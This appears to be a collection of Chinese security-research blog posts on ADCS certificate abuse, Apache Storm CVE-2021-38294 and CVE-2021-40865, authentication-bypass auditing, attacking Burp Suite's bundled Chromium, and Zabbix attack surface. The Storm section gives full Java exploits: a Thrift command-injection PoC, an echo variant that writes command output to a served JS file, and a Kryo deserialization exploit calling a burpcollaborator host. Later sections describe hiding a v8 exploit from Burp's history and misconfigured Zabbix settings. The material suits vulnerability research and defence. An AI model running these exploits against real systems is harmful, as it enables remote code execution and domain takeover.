运维人员是无法从证书控制台观察到我们的证书申请记录并无法吊销证书。只要 administrator 用户不过期,证书不过期即可一直使用,即使用户密码更改。

利用面二:修改 CA 属性用于证书提权

当我们拥有 ManageCA 权限下调用 ICertAdminD2::SetConfigEntry 来修改 CA 的配置数据,例如Config_CA_Accept_Request_Attributes_SAN 的bool型数据从而开启 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2

此时可参考前面 EDITF_ATTRIBUTESUBJECTALTNAME2 证书提权滥用拿到域控制权

利用面三:自己审批证书注册

在证书模板设置时,部分运维会出于安全考虑将模板发布要求设置为 CA 证书管理员审批,管理员就会在 certsrv.msc 上进行确认

当拥有 ManageCertificates 权限时,可调用 ICertAdminD::ResubmitRequest 去给需要审核的滥用证书进行批准放行。

3. 其他利用

Golden Certificates

使用偷来的证书颁发机构 (CA) 证书以及私钥来为任意用户伪造证书,这些用户可以对活动目录进行身份验证,因为签署颁发证书的唯一密钥就是 CA 的私钥

当我们获取到 CA 服务器时,通过 mimikatz 或 SharpDPAPI 项目提取任何不受硬件保护的 CA 证书私钥。

SharpDPAPI4.exe certificates /machine 

使用 openssl 转化格式后,利用 ForgeCertpyForgeCert 进行证书构造,故含私钥的 CA 为“黄金证书”。

NTLM Relay to ADCS HTTP Endpoints

该利用方式是因为 http 的证书注册接口易受 NTLM Relay 攻击所导致的。NTLM 相关利用文章有很多,例如 CVE-2018-8581、CVE-2019-1040、Printerbug 等这里不再介绍。

PetitPotam 可以指定域内的一台服务器,使其对指定目标进行身份验证。当目标为低版本 (16以下) 时,可以做到匿名触发。

通过调用 MS-EFSRPC 相关函数到域控,使域控发送请求我们的监听,我们将获取到的 NTLM Relay 到 ADCS 的 Web 注册页面。

通过域控机器用户 NTLM 凭据向 web 服务注册证书,成功得到域控机器账户的Encode Base64 证书。

利用 kekeo 进行 ask tgt 成功拿到 DC$ 权限进行 Dcsync。

0x04 写在后面

ADCS 相关利用手段在实战场景中权限提升,权限维持非常便捷。针对 ADCS 的防御方案在白皮书也有详细提到,这里就不详细写了。

部分解决方案有提到微软的三层架构:

核心思想就是你是什么用户就访问怎样的资产,无法向下级访问且向上访问会告警。那么 CA 、ADCS 服务器的本地管理员组、PKI 和证书模板所拥有者都应该处于0层。

最后灵腾实验室长期招聘高级攻防专家,高级安全研究员,感兴趣可发送简历至g-linton-lab[AT]360.cn

0x05 参考链接

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

https://docs.microsoft.com/en-us/windows/win32/ad/how-access-control-works-in-active-directory-domain-services

https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/

https://www.anquanke.com/post/id/245791

Apache Storm 漏洞分析

29 November 2021 at 16:06

Author: 0x28                                                  

0x00 前言

前段时间Apache Storm更了两个CVE,简短分析如下,本篇文章将对该两篇文章做补充。
GHSL-2021-086: Unsafe Deserialization in Apache Storm supervisor - CVE-2021-40865
GHSL-2021-085: Command injection in Apache Storm Nimbus - CVE-2021-38294

0x01 漏洞分析

CVE-2021-38294 影响版本为:1.x~1.2.3,2.0.0~2.2.0          
CVE-2021-40865 影响版本为:1.x~1.2.3,2.1.0,2.2.0              

CVE-2021-38294

1、补丁相关细节

针对CVE-2021-38294命令注入漏洞,官方推出了补丁代码https://github.com/apache/storm/compare/v2.2.0...v2.2.1#diff-30ba43eb15432ba1704c2ed522d03d588a78560fb1830b831683d066c5d11425
将原本代码中的bash -c 和user拼接命令行执行命令的方式去掉,改为直接传入到数组中,即使user为拼接的命令也不会执行成功,带入的user变量中会直接成为id命令的参数。说明在ShellUtils类中调用,传入的user参数为可控

因此若传入的user参数为";whomai;",则其中getGroupsForUserCommand拼接完得到的String数组为

new String[]{"bash","-c","id -gn ; whoami;&& id -Gn; whoami;"}

而execCommand方法为可执行命令的方法,其底层的实现是调用ProcessBuilder实现执行系统命令,因此传入该String数组后,调用bash执行shell命令。其中shell命令用户可控,从而导致可执行恶意命令。

2、execCommand命令执行细节

接着上一小节往下捋一捋命令执行函数的细节,ShellCommandRunnerImpl.execCommand()的实现如下

execute()往后的调用链为execute()->ShellUtils.run()->ShellUtils.runCommand()

最终传入shell命令,调用ProcessBuilder执行命令。              

3、调用栈执行流程细节

POC中作者给出了调试时的请求栈。                              

getGroupsForUserCommand:124, ShellUtils (org.apache.storm.utils)getUnixGroups:110, ShellBasedGroupsMapping (org.apache.storm.security.auth)getGroups:77, ShellBasedGroupsMapping (org.apache.storm.security.auth)userGroups:2832, Nimbus (org.apache.storm.daemon.nimbus)isUserPartOf:2845, Nimbus (org.apache.storm.daemon.nimbus)getTopologyHistory:4607, Nimbus (org.apache.storm.daemon.nimbus)getResult:4701, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)getResult:4680, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)process:38, ProcessFunction (org.apache.storm.thrift)process:38, TBaseProcessor (org.apache.storm.thrift)process:172, SimpleTransportPlugin$SimpleWrapProcessor (org.apache.storm.security.auth)invoke:524, AbstractNonblockingServer$FrameBuffer (org.apache.storm.thrift.server)run:18, Invocation (org.apache.storm.thrift.server)runWorker:-1, ThreadPoolExecutor (java.util.concurrent)run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)run:-1, Thread (java.lang)

根据以上在调用栈分析时,从最终的命令执行的漏洞代码所在处getGroupsForUserCommand仅仅只能跟踪到nimbus.getTopologyHistory()方法,似乎有点难以判断道作者在做该漏洞挖掘时如何确定该接口对应的是哪个服务和端口。也许作者可能是翻阅了大量的文档资料和测试用例从而确定了该接口,是如何从某个端口进行远程调用。

全文搜索6627端口,找到了6627在某个类中,被设置为默认值。以及结合在细读了Nimbus.java的代码后,关于以上疑惑我的大致分析如下。

Nimbus服务的启动时的步骤我人为地将其分为两个步骤,第一个是读取相应的配置得到端口,第二个是根据配置文件开启对应的端口和绑定相应的Service。

首先是启动过程,前期启动过程在/bin/storm和storm.py中加载Nimbus类。在Nimbus类中,main()->launch()->launchServer()后,launchServer中先实例化一个Nimbus对象,在New Nimbus时加载Nimbus构造方法,在这个构造方法执行过程中,加载端口配置。接着实例化一个ThriftServer将其与nimbus对象绑定,然后初始化后,调用serve()方法接收传过来的数据。

Nimbus函数中通过this调用多个重载构造方法                  

在最后一个构造方法中发现其调用fromConf加载配置,并赋值给nimbusHostPortInfo

fromConf方法具体实现细节如下,这里直接设置port默认值为6627端口    

然后回到主流程线上,server.serve()开始接收请求                  

至此已经差不多理清了6627端口对应的服务的情况,也就是说,因为6627端口绑定了Nimbus对象,所以可以通过对6627端口进行远程调用getTopologyHistory方法。

4、关于如何构造POC

根据以上漏洞分析不难得出只需要连接6627端口,并发送相应字符串即可。已经确定了6627端口服务存在的漏洞,可以通过源代码中的的测试用例进行快速测试,避免了需要大量翻阅文档构造poc的过程。官方poc如下

import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class ThriftClient {
    public static void main(String[] args) throws Exception {
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);

        // send attack
        nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/pwned;id ");
    }
}

在测试类org/apache/storm/nimbus/NimbusHeartbeatsPressureTest.java中,有以下代码针对6627端口的测试

可以看到实例化过程需要传入配置参数,远程地址和端口。配置参数如下,构造一个config即可。

并且通过getClient().xxx()对相应的方法进行调用,如下图中调用sendSupervisorWorkerHeartbeats

且与getTopologyHistory一样,该方法同样为Nimbus类的成员方法,因此可以使用同样的手法对getTopologyHistory进行远程调用

CVE-2021-40865

1、补丁相关细节

针对CVE-2021-40865,官方推出的补丁代码,对传过来的数据在反序列化之前若默认配置不开启验证则增加验证(https://github.com/apache/storm/compare/v2.2.0...v2.2.1#diff-463899a7e386ae4ae789fb82786aff023885cd289c96af34f4d02df490f92aa2),即默认开启验证。

通过查阅资料可知ChannelActive方法为连接时触发验证                

可以看到在旧版本的代码上的channelActive方法没有做登录时的登录验证。且从补丁信息上也可以看出来这是一个反序列化漏洞的补丁。该反序列化功能存在于StormClientPipelineFactory.java中,由于没做登录验证,导致可以利用该反序列化漏洞调用gadget执行系统命令。

2、反序列化漏洞细节

在StormClientPipelineFactory.java中数据流进来到最终进行处理需要经过解码器,而解码器则调用的是MessageCoder和KryoValuesDeserializer进行处理,KryoValuesDeserializer需要先进行初步生成反序列化器,最后通过MessageDecoder进行解码

最终在数据流解码时触发进入MessageDecoder.decode(),在decode逻辑中,作者也很精妙地构造了fake数据完美走到反序列化最终流程点。首先是读取两个字节的short型数据到code变量中

判断该code是否为-600,若为-600则取出四个字节作为后续字节的长度,接着去除后续的字节数据传入到BackPressureStatus.read()中

并在read方法中对传入的bytes进行反序列化                        

3、调用栈执行流程细节

尝试跟着代码一直往上回溯一下,找到开启该服务的端口                

Server.java - new Server(topoConf, port, cb, newConnectionResponse);
WorkerState.java - this.mqContext.bind(topologyId, port, cb, newConnectionResponse); 
Worker.java - loadWorker(IStateStorage stateStorage, IStormClusterState stormClusterState,Map<String, String> initCreds, Credentials initialCredentials)
LocalContainerLauncher.java - launchContainer(int port, LocalAssignment assignment, LocalState state)
Slot.java - run()
ReadClusterState.java - ReadClusterState()
Supervisor.java - launch()
Supervisor.java - launchDaemon()

而在Supervisor.java中先实例化Supervisor,在实例化的同时加载配置文件(配置文件storm.yaml配置6700端口),然后调用launchDaemon进行服务加载

读取配置文件细节为会先调用ConfigUtils.readStormConfig()读取对应的配置文件

ConfigUtils.readStormConfig() -> ConfigUtils.readStormConfigImpl() -> Utils.readFromConfig()

可以看到调用findAndReadConfigFile读取storm.yaml                    

读取完配置文件后进入launchDaemon,调用launch方法                                      

在launch中实例化ReadClusterState                                                                            

在ReadClusterState的构造方法中会依次调用slot.start(),进入Slot的run方法。最终调用LocalContainerLauncher.launchContainer(),并同时传入端口等配置信息,最终调用new Server(topoConf, port, cb, newConnectionResponse),监听对应的端口和绑定Handler。

4、关于POC构造                              

import org.apache.commons.io.IOUtils;
import org.apache.storm.serialization.KryoValuesSerializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;

import java.io.*;
import java.math.BigInteger;
import java.net.*;
import java.util.HashMap;

public class NettyExploit {

    /**
     * Encoded as -600 ... short(2) len ... int(4) payload ... byte[]     *
     */
    public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
        byte[] payload = ser.serializeObject(obj);
        BigInteger codeInt = BigInteger.valueOf(-600);
        byte[] code = codeInt.toByteArray();
        BigInteger lengthInt = BigInteger.valueOf(payload.length);
        byte[] length = lengthInt.toByteArray();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
        outputStream.write(code);
        outputStream.write(new byte[] {0, 0});
        outputStream.write(length);
        outputStream.write(payload);
        return outputStream.toByteArray( );
    }

    public static KryoValuesSerializer getSerializer() throws MalformedURLException {
        HashMap<String, Object> conf = new HashMap<>();
        conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
        conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
        conf.put("topology.skip.missing.kryo.registrations", false);
        conf.put("topology.fall.back.on.java.serialization", true);
        return new KryoValuesSerializer(conf);
    }

    public static void main(String[] args) {
        try {
            // Payload construction
            String command = "http://k6r17p7xvz8a7wj638bqj6dydpji77.burpcollaborator.net";
            ObjectPayload gadget = URLDNS.class.newInstance();
            Object payload = gadget.getObject(command);

            // Kryo serialization
            byte[] bytes = buffer(getSerializer(), payload);

            // Send bytes
            Socket socket = new Socket("127.0.0.1", 6700);
            OutputStream outputStream = socket.getOutputStream();
            outputStream.write(bytes);
            outputStream.flush();
            outputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

其实这个反序列化POC构造跟其他最不同的点在于需要构造一些前置数据,让后面被反序列化的字节流走到反序列化方法中,因此需要先构造一个两个字节的-600数值,再构造一个四个字节的数值为序列化数据的长度数值,再加上自带序列化器进行构造的序列化数据,发送到服务端即可。

0x02 复现&回显Exp

CVE-2021-38294

复现如下                                                            

调试了一下EXP,由于是直接的命令执行,因此直接采用将执行结果写入一个不存在的js中(命令执行自动生成),访问web端js即可。

import com.github.kevinsawicki.http.HttpRequest;
import org.apache.storm.generated.AuthorizationException;
import org.apache.storm.thrift.TException;
import org.apache.storm.thrift.transport.TTransportException;
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class CVE_2021_38294_ECHO {
    public static void main(String[] args) throws Exception, AuthorizationException {
        String command = "ifconfig";
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);
        nimbusClient.getClient().getTopologyHistory("foo;" + command + "> ../public/js/log.min.js; id");
        String response = HttpRequest.get("http://127.0.0.1:8082/js/log.min.js").body();
        System.out.println(response);
    }

}

CVE-2021-40865

复现如下                                                            

该利用暂时没有可用的gadget配合进行RCE。

0x03 写在最后

由于本次分析时调试环境一直起不来,因此直接静态代码分析,可能会有漏掉或者错误的地方,还请师傅们指出和见谅。

0x04 参考

https://www.w3cschool.cn/apache_storm/apache_storm_installation.html

https://securitylab.github.com/advisories/GHSL-2021-086-apache-storm/

https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html

https://github.com/frohoff/ysoserial                      

https://www.w3cschool.cn/apache_storm/apache_storm_installation.html

https://m.imooc.com/wiki/nettylesson-netty02              

https://xz.aliyun.com/t/7348                              

Identity Security Authentication Vulnerability

18 November 2021 at 13:48
By: Skay
Identity Security Authentication Vulnerability

拿到一个系统大多很多情况下只有一个登录入口,如果想进一步得到较为高危的漏洞,只能去寻找权限校验相关的漏洞,再结合后台洞,最终得到一个较为满意的漏洞。

这里列出一些较为常见的安全认证配置:

  • Spring Security
  • Apache Shiro
  • 服务器本身(Tomcat、Nginx、Apache)401 认证
  • Tomcat 安全认证(结合web.xml) 无需代码实现
  • JSON Web Token

以上只是简单列出了一些笔者见过常见的安全认证配置组件。不同的鉴权组件存在异同的审计思路。

一、寻找未授权

这是笔者第首先会入手去看的点,毕竟如果能直接从未授权的点进入,就没必要硬刚鉴权逻辑了。

1.一些第三方组件大概率为未授权应用

druid、webservice、swagger等内置于程序中的应用大多被开发者设计为无需权限校验接口。

Identity Security Authentication Vulnerability

第三方组件本身又存在历史漏洞,且以jar包的形式内置于应用中,低版本的情况很常见。

利用druid的未授权获取了管理员session

Identity Security Authentication Vulnerability

2.安全认证框架配置中存在的未授权接口

出于某种功能需求,开发者会讲一些功能接口配置无需权限

web.xml

细心查看配置文件中各个Filter、Servlet、Listener ,可能有意想不到的收获

Identity Security Authentication Vulnerability

spring-mvc.xml

这里是以拦截器的方式对外开放了未授权请求处理

Identity Security Authentication Vulnerability

tomcat 安全配置

Identity Security Authentication Vulnerability

配置类

Apache Shiro、Spring Security等支持以@Configuare注解方式配置权限认证,只要按照配置去寻找,当然以上框架也支持配置文件方式配置,寻找思路一样

Identity Security Authentication Vulnerability

3.未授权访问接口配合ssrf获取localhost本身需鉴权服务

一些多服务组件中,存在服务之间的相互调用,服务之间的相互调用或许不需要身份校验,或者已经配置了静态的身份凭证,又或者通过访问者IP是否为127.0.0.1来进行鉴权。这时我们需要一个SSRF漏洞即可绕过权限验证。

很经典的为Apache Module mod_proxy 场景绕过:SSRF CVE-2021-4043.

二、安全认证框架本身存在鉴权漏洞

1.Apache Shiro

Shiro相关的权限绕过漏洞,我觉得可以归类到下面的路径归一化的问题上

2.Spring Security

某些配置下,存在权限绕过,当配置文件放行了/**/.js 时

Identity Security Authentication Vulnerability

Identity Security Authentication Vulnerability

3.JWT 存在的安全风险

  • 敏感信息泄露
  • 未校验签名
  • 签名算法可被修改为none
  • 签名密钥爆破
  • 修改非对称密码算法为对称密码算法
  • 伪造密钥(CVE-2018-0114)

jwt测试工具:https://github.com/ticarpi/jwt_tool

三、静态资源访问

静态资源css、js等文件访问往往不需要权限,开发者可能讲鉴权逻辑放在Filter里,当我们在原有路由基础上添加.js 后缀时,即可绕过验证

Identity Security Authentication Vulnerability

这里可能会有一个问题,添加了js后缀后是否还能正常匹配到处理类呢?在spring应用里是可以的,默认配置下的spirng configurePathMatch支持添加后缀匹配路由,如果想开启后缀匹配模式,需要手动重写configurePathMatch方法

Identity Security Authentication Vulnerability

四、路径归一化问题

1.简单定义

两套组件或应用对同一个 URI 解析,或者说处理的不一致,导致路径归一化问题的产生。

orange 的 breaking parser logic 在 2018 黑帽大会上的演讲议题,后续许多路径归一化的安全问题,都是延伸自他的 PPT

2.Shiro 权限绕过漏洞

一个很经典的路径归一化问题,导致 权限的绕过,比如Shiro CVE-2020-1957

针对用户访问的资源地址,也就是 URI 地址,shiro 的解析和 spring 的解析不一致,shiro 的 Ant 中的*通配符匹配是不能匹配这个 URI 的/test/admin/page/。shiro 认为它是一个路径,所以绕过了/test/admin/*这个 ACL。而 spring 认为/test/admin/page 和/test/admin/page/是一样的,它们能在 spring中获取到同样的资源。

3.CVE-2021-21982 VMware CarbonBlack Workstation

算是一个老1day了,组件本身身份验证通过Spring Security + JWT来实现。且存在两套url的处理组件:Envoy 以及 Springboot。

PS:Envoy 是专为大型现代 SOA(面向服务架构)架构设计的 L7 代理和通信总线。

通过diff可以定位到漏洞点,一个本地获取token的接口

Identity Security Authentication Vulnerability

但是我们通过外网直接访问无法获取到token

Identity Security Authentication Vulnerability

简单了解一下组建的基本架构

Identity Security Authentication Vulnerability

抓一下envoy 与本机服务的通信 rr yyds

./tcpdump -i lo -nn -s0 -w lo1.cap -v

envoy 本身起到一个请求转发作用,可以精确匹配到协议 ip 端口 url路径等,指定很详细的路由转发规则,且可以对请求进行转发和修改

Identity Security Authentication Vulnerability

url编码即可绕过envoy的转发规则,POC如下:

Identity Security Authentication Vulnerability

总结:由于envoy转发规则不能匹配URL编码,但Springboot可以理解,两个组件对url的理解不同,最终导致漏洞产生。

3.Other

扩展一下思路,当存在一个或者多个代码逻辑处理url时,由于对编码,通配符,"/",";" 等处理的不同,极有可能造成安全问题。

五、Apache、Nginx、Jetty、HAProxy 等

Chybeta在其知识星球分享了很多:

Nginx 场景绕过之一: URL white spaces + Gunicorn

https://articles.zsxq.com/id_whpewmqqocrw.html

Nginx 场景绕过之二:斜杠(trailing slash) 与 #

https://articles.zsxq.com/id_jb6bwow4zf5p.html

Nginx 场景绕过之三:斜杠(trailing slash) 与 ;

https://articles.zsxq.com/id_whg6hb68xkbd.html

HAProxy 场景绕过之一: CVE-2021-40346

https://articles.zsxq.com/id_ftx67ig4w57u.html

利用hop-by-hop绕过:结合CVE-2021-33197

https://articles.zsxq.com/id_rfsu4pm43qno.html

Squid 场景绕过之一: URN bypass ACL

https://articles.zsxq.com/id_ihsdxmrapasa.html

Apache Module mod_proxy 场景绕过:SSRF CVE-2021-4043.

六、简单的fuzz测试

造成权限绕过的根本原因可能有多种,但是不妨碍我们总结出一些常见的绕过方式,编码、插入某些特定字符、添加后缀等方式。远海曾公布一个权限绕过的fuzz字典:

Identity Security Authentication Vulnerability

七、参考链接

https://wx.zsxq.com/dweb2/index/group/555848225184

https://www.vmware.com/security/advisories/VMSA-2021-0005.html

https://cloud.tencent.com/developer/article/1552824

反制爬虫之 Burp Suite 远程命令执行

6 September 2021 at 05:14
By: Wfox

一、前言

Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

二、软件分析

以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。

burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。

-w869

在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录

从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。

那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能够调用内置Chromium浏览器渲染网页。

当Burp Suite唤起内置浏览器browsercore32.exe打开网页时,browsercore32.exe会创建Renderer进程及GPU加速进程。

browsercore32.exe进程运行参数如下:

// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window

// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1

从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。

三、漏洞利用

Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。

Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)

这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
该漏洞的Root Cause是在进行Math.expm1的范围分析时,推断出的类型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)会返回-0的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。

用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。

四、进阶攻击

Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。

Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。

其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)

JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。

额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。

额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。

GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF

JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:

Kapture 2021-09-06 at 2.14.35

五、流量特征检测

默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。

Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。

以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。

-w672

不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。

本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。

Zabbix 攻击面挖掘与利用

17 August 2021 at 06:47
By: Wfox

一、简介

Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案,客户覆盖许多大型企业。本议题介绍了Zabbix基础架构、Zabbix Server攻击面以及权限后利用,如何在复杂内网环境中从Agent控制Server权限、再基于Server拿下所有内网Agent。

二、Zabbix监控组件

Zabbix监控系统由以下几个组件部分构成:

1. Zabbix Server

Zabbix Server是所有配置、统计和操作数据的中央存储中心,也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。

Zabbix Server的功能可分解成为三个不同的组件,分别为Zabbix Server服务、Web后台及数据库。

2. Zabbix Proxy

Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性数据,然后把数据汇报给Zabbix Server,并且在一定程度上分担了Zabbix Server的压力。

3. Zabbix Agent

Zabbix Agent部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。

Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。

三、Zabbix网络架构

对于Zabbix Agent客户端来说,根据请求类型可分为被动模式及主动模式:

  • 被动模式:Server向Agent的10050端口获取监控项数据,Agent根据监控项收集本机数据并响应。
  • 主动模式:Agent主动请求Server(Proxy)的10051端口获取监控项列表,并根据监控项收集本机数据提交给Server(Proxy)

从网络部署架构上看,可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构:

  • Server-Client架构

最为常见的Zabbix部署架构,Server与Agent同处于内网区域,Agent能够直接与Server通讯,不受跨区域限制。
-w879

  • Server-Proxy-Client架构

多数见于大规模监控需求的企业内网,其多用在跨机房、跨网络的环境,由于Agent无法直接与位于其他区域的Server通讯,需要由各区域Proxy代替收集Agent数据然后再上报Server。
-w1059

四、Zabbix Agent配置分析

从进程列表中可判断当前机器是否已运行zabbix_agentd服务,Linux进程名为zabbix_agentd,Windows进程名为zabbix_agentd.exe

Zabbix Agent服务的配置文件为zabbix_agentd.conf,Linux默认路径在/etc/zabbix/zabbix_agentd.conf,可通过以下命令查看agent配置文件并过滤掉注释内容:

cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'

首先从配置文件定位zabbix_agentd服务的基本信息:

  • Server参数

Server或Proxy的IP、CIDR、域名等,Agent仅接受来自Server参数的IP请求。

Server=192.168.10.100
  • ServerActive参数

Server或Proxy的IP、CIDR、域名等,用于主动模式,Agent主动向ServerActive参数的IP发送请求。

ServerActive=192.168.10.100
  • StartAgents参数

为0时禁用被动模式,不监听10050端口。

StartAgents=0

经过对 zabbix_agentd.conf 配置文件各个参数的安全性研究,总结出以下配置不当可能导致安全风险的配置项:

  • EnableRemoteCommands参数

是否允许来自Zabbix Server的远程命令,开启后可通过Server下发shell脚本在Agent上执行。

风险样例:

EnableRemoteCommands=1
  • AllowRoot参数

Linux默认以低权限用户zabbix运行,开启后以root权限运行zabbix_agentd服务。

风险样例:

AllowRoot=1
  • UserParameter参数

自定义用户参数,格式为UserParameter=<key>,<command>,Server可向Agent执行预设的自定义参数命令以获取监控数据,以官方示例为例:

UserParameter=ping[*],echo $1

当Server向Agent执行ping[aaaa]指令时,$1为传参的值,Agent经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa

command存在命令拼接,但由于传参内容受UnsafeUserParameters参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

官方漏洞案例可参考CVE-2016-4338漏洞。

  • UnsafeUserParameters参数

自定义用户参数是否允许传参任意字符,默认不允许字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @

风险样例:

UnsafeUserParameters=1

